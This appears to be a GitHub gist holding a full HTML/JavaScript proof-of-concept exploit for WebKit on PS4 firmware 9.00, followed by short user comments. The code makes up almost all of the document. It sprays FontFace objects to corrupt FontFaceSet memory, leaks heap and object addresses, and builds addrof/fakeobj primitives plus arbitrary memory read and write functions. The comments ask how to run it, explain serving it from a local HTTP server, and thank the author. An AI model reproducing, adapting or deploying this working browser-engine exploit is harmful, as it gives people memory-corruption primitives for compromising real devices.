PS4 WebKit exploit on 9.00

ps4.html

<script>
var PAGE_SIZE = 16384;
var SIZEOF_CSS_FONT_FACE = 0xb8;
var HASHMAP_BUCKET = 208;
var STRING_OFFSET = 20;
var SPRAY_FONTS = 0x1000;
var GUESS_FONT = 0x200430000;
var NPAGES = 20;
var INVALID_POINTER = 0;
var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero)
var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time

function poc(){

function hex(n)
{
    if((typeof n) != "number")
        return ""+n;
    return "0x" + (new Number(n)).toString(16);
}

var union = new ArrayBuffer(8);
var union_b = new Uint8Array(union);
var union_i = new Uint32Array(union);
var union_f = new Float64Array(union);

var bad_fonts = [];

for(var i = 0; i < SPRAY_FONTS; i++)
    bad_fonts.push(new FontFace("font1", "", {}));

var good_font = new FontFace("font2", "url(data:text/html,)", {});
bad_fonts.push(good_font);

var arrays = [];
for(var i = 0; i < 512; i++)
    arrays.push(new Array(31));

arrays[256][0] = 1.5;
arrays[257][0] = {};
arrays[258][0] = 1.5;

var jsvalue = {a: arrays[256], b: new Uint32Array(1), c: true};

var string_atomifier = {};
var string_id = 10000000;

function ptrToString(p)
{
    var s = '';
    for(var i = 0; i < 8; i++)
    {
        s += String.fromCharCode(p % 256);
        p = (p - p % 256) / 256;
    }
    return s;
}

function stringToPtr(p, o)
{
    if(o === undefined)
        o = 0;
    var ans = 0;
    for(var i = 7; i >= 0; i--)
        ans = 256 * ans + p.charCodeAt(o+i);
    return ans;
}

var strings = [];

function mkString(l, head)
{
    var s = head + '\u0000'.repeat(l-STRING_OFFSET-8-head.length) + (string_id++);
    string_atomifier[s] = 1;
    strings.push(s);
    return s;
}

var guf = GUESS_FONT;
var ite = true;
var matches = 0;

do
{

var p_s = ptrToString(NPAGES+2); // vector.size()
for(var i = 0; i < NPAGES; i++)
    p_s += ptrToString(guf + i * PAGE_SIZE);
p_s += ptrToString(INVALID_POINTER);

for(var i = 0; i < 256; i++)
    mkString(HASHMAP_BUCKET, p_s);

var ffs = new FontFaceSet(bad_fonts);

var badstr1 = mkString(HASHMAP_BUCKET, p_s);

var guessed_font = null;
var guessed_addr = null;

for(var i = 0; i < SPRAY_FONTS; i++)
{
    bad_fonts[i].family = "evil";
    if(badstr1.substr(0, p_s.length) != p_s)
    {
        guessed_font = i;
        var p_s1 = badstr1.substr(0, p_s.length);
        for(var i = 1; i <= NPAGES; i++)
        {
            if(p_s1.substr(i*8, 8) != p_s.substr(i*8, 8))
            {
                guessed_addr = stringToPtr(p_s.substr(i*8, 8));
                break;
            }
        }
        if(matches++ == 0)
        {
            guf = guessed_addr + 2 * PAGE_SIZE;
            guessed_addr = null;
        }
        break;
    }
}

if((ite = !ite))
    guf += NPAGES * PAGE_SIZE;

}
while(guessed_addr === null);

alert("guessed fontface addr: "+guessed_font+" -> "+hex(guessed_addr));

var p_s = '';
p_s += ptrToString(26);
p_s += ptrToString(guessed_addr);
p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
for(var i = 0; i < 19; i++)
    p_s += ptrToString(INVALID_POINTER);

for(var i = 0; i < 256; i++)
    mkString(HASHMAP_BUCKET, p_s);

var ffs2 = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font+1], good_font]);
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
mkString(HASHMAP_BUCKET, p_s);

bad_fonts[guessed_font].family = "evil2";
bad_fonts[guessed_font+1].family = "evil3";

var leak = stringToPtr(badstr2.substr(badstr2.length-8));
alert("stringimpl leak: "+hex(leak));

var ffses = {};

function makeReader(read_addr, ffs_name)
{
    var fake_s = '';
    fake_s += '0000'; //padding for 8-byte alignment
    fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff
    fake_s += ptrToString(read_addr); //where to read from
    fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit
    p_s = '';
    p_s += ptrToString(29);
    p_s += ptrToString(guessed_addr);
    p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
    p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE);
    for(var i = 0; i < 18; i++)
        p_s += ptrToString(INVALID_POINTER);
    for(var i = 0; i < 256; i++)
        mkString(HASHMAP_BUCKET, p_s);
    var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font+1], bad_fonts[guessed_font+2], good_font]);
    mkString(HASHMAP_BUCKET, p_s);
    var relative_read = mkString(HASHMAP_BUCKET, fake_s);
    bad_fonts[guessed_font].family = ffs_name+"_evil1";
    bad_fonts[guessed_font+1].family = ffs_name+"_evil2";
    bad_fonts[guessed_font+2].family = ffs_name+"_evil3";
    if(relative_read.length < 1000) //failed
        return makeReader(read_addr, ffs_name+'_');
    return relative_read;
}

var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr
alert("fastmalloc.length = "+fastmalloc.length);

for(var i = 0; i < 100000; i++)
    mkString(128, '');

var props = [];
for(var i = 0; i < 0x400; i++)
{
    props.push({value: 0x41434442});
    props.push({value: jsvalue});
}

var jsvalue_leak = null;

while(jsvalue_leak === null)
{
    Object.defineProperties({}, props);
    for(var i = 0; i < 0x100000; i++)
    {
        if(fastmalloc.charCodeAt(i) == 0x42
        && fastmalloc.charCodeAt(i+1) == 0x44
        && fastmalloc.charCodeAt(i+2) == 0x43
        && fastmalloc.charCodeAt(i+3) == 0x41
        && fastmalloc.charCodeAt(i+4) == 0
        && fastmalloc.charCodeAt(i+5) == 0
        && fastmalloc.charCodeAt(i+6) == 254
        && fastmalloc.charCodeAt(i+7) == 255
        && fastmalloc.charCodeAt(i+24) == 14
        )
        {
            jsvalue_leak = stringToPtr(fastmalloc, i+32);
            break;
        }
    }
}

alert("jsvalue leak: " + jsvalue + " -> " + hex(jsvalue_leak));

var rd_leak = makeReader(jsvalue_leak, 'ffs4');
var array256 = stringToPtr(rd_leak, 16); //arrays[256]
var ui32a = stringToPtr(rd_leak, 24); //Uint32Array
var sanity = stringToPtr(rd_leak, 32);
alert("array256="+hex(array256)+" ui32a="+hex(ui32a)+" sanity="+hex(sanity));

var rd_arr = makeReader(array256, 'ffs5');
var butterfly = stringToPtr(rd_arr, 8);

var rd_ui32 = makeReader(ui32a, 'ffs6');
for(var i = 0; i < 8; i++)
    union_b[i] = rd_ui32.charCodeAt(i);

var structureid_low = union_i[0];
var structureid_high = union_i[1];

alert("butterfly="+hex(butterfly)+" structureid="+structureid_low);

//setup for addrof/fakeobj
//in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double
//in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue
union_i[0] = 0x10000;
union_i[1] = 0; //account for nan-boxing
arrays[257][1] = {}; //force it to still be jsvalue-array not double-array
arrays[257][0] = union_f[0];
union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0;
union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000;
arrays[256][i] = union_f[0];

//hammer time!

pp_s = '';
pp_s += ptrToString(56);
for(var i = 0; i < 12; i++)
    pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE);

var fake_s = '';
fake_s += '0000'; //padding for 8-byte alignment
fake_s += ptrToString(INVALID_POINTER); //never dereferenced
fake_s += ptrToString(butterfly); //hammer target
fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34

var ffs7_args = [];
for(var i = 0; i < 12; i++)
    ffs7_args.push(bad_fonts[guessed_font+i]);
ffs7_args.push(good_font);

var ffs8_args = [bad_fonts[guessed_font+12]];
for(var i = 0; i < 5; i++)
    ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {}));

for(var i = 0; i < HAMMER_NSTRINGS; i++)
    mkString(HASHMAP_BUCKET, pp_s);

var ffs7 = new FontFaceSet(ffs7_args);
mkString(HASHMAP_BUCKET, pp_s);
var ffs8 = new FontFaceSet(ffs8_args);
mkString(HASHMAP_BUCKET, fake_s);

for(var i = 0; i < 13; i++)
    bad_fonts[guessed_font+i].family = "hammer"+i;

alert("arrays[257].length="+arrays[257].length);

window.addrof = function(obj)
{
    arrays[257][32] = obj;
    union_f[0] = arrays[258][0];
    return union_i[1] * 0x100000000 + union_i[0];
}

window.fakeobj = function(addr)
{
    union_i[0] = addr;
    union_i[1] = (addr - addr % 0x100000000) / 0x100000000;
    arrays[258][0] = union_f[0];
    return arrays[257][32];
}

alert("addrof(null)="+addrof(null)+" fakeobj(10)="+fakeobj(10));

//craft misaligned typedarray

var arw_master = new Uint32Array(8);
var arw_slave = new Uint8Array(1);

var addrof_slave = addrof(arw_slave);
union_i[0] = structureid_low;
union_i[1] = structureid_high;
union_b[6] = 7;
var obj = {jscell: union_f[0], butterfly: true, buffer: arw_master, size: 0x5678};

(function()
{
    var magic = fakeobj(addrof(obj) + 16);
    magic[4] = addrof_slave;
    magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000;
    magic = null;
})();

window.read_mem = function(p, sz)
{
    arw_master[4] = p;
    arw_master[5] = (p - p % 0x100000000) / 0x100000000;
    arw_master[6] = sz;
    var buf = [];
    for(var i = 0; i < sz; i++)
        buf.push(arw_slave[i]);
    return buf;
}

window.write_mem = function(p, buf)
{
    arw_master[4] = p;
    arw_master[5] = (p - p % 0x100000000) / 0x100000000;
    arw_master[6] = buf.length;
    for(var i = 0; i < sz; i++)
        arw_slave[i] = buf[i];
}

alert(read_mem(addrof(obj), 48));

}
</script>
<button onclick="try{poc()}catch(e){alert(e);}">click me</button>

Hola soy nuevo.
Esto sería el programa? O todavía no está para instalarlo?o hay que tocar algo de la programación de la PS4?
Porfa no entiendo

Great work brotha

@Tesurero this is a webpage. You can set up a local HTTP server and serve it from there, or you can add it to "PS4 exploit host" by Al Azif. But given that you ask such questions this probably won't interest you, it does not give you "jailbreak".

Ok. Thanks El mié., 1 dic. 2021 05:58, sleirsgoevy ***@***.***> escribió:

…

***@***.**** commented on this gist. ------------------------------ @Tesurero <https://github.com/Tesurero> this is a webpage. You can set up a local HTTP server and serve it from there, or you can add it to "PS4 exploit host" by Al Azif. But given that you ask such questions this probably won't interest you, it does not give you "jailbreak". — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <https://gist.github.com/6beca32893909095f4bba1ce29167992#gistcomment-3979846>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AWTJUCN3X6KLZVBQZ4ONGS3UOXPRRANCNFSM5G3DI7UA> . Triage notifications on the go with GitHub Mobile for iOS <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675> or Android <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>.

Thanks from China for your amazing work!!!

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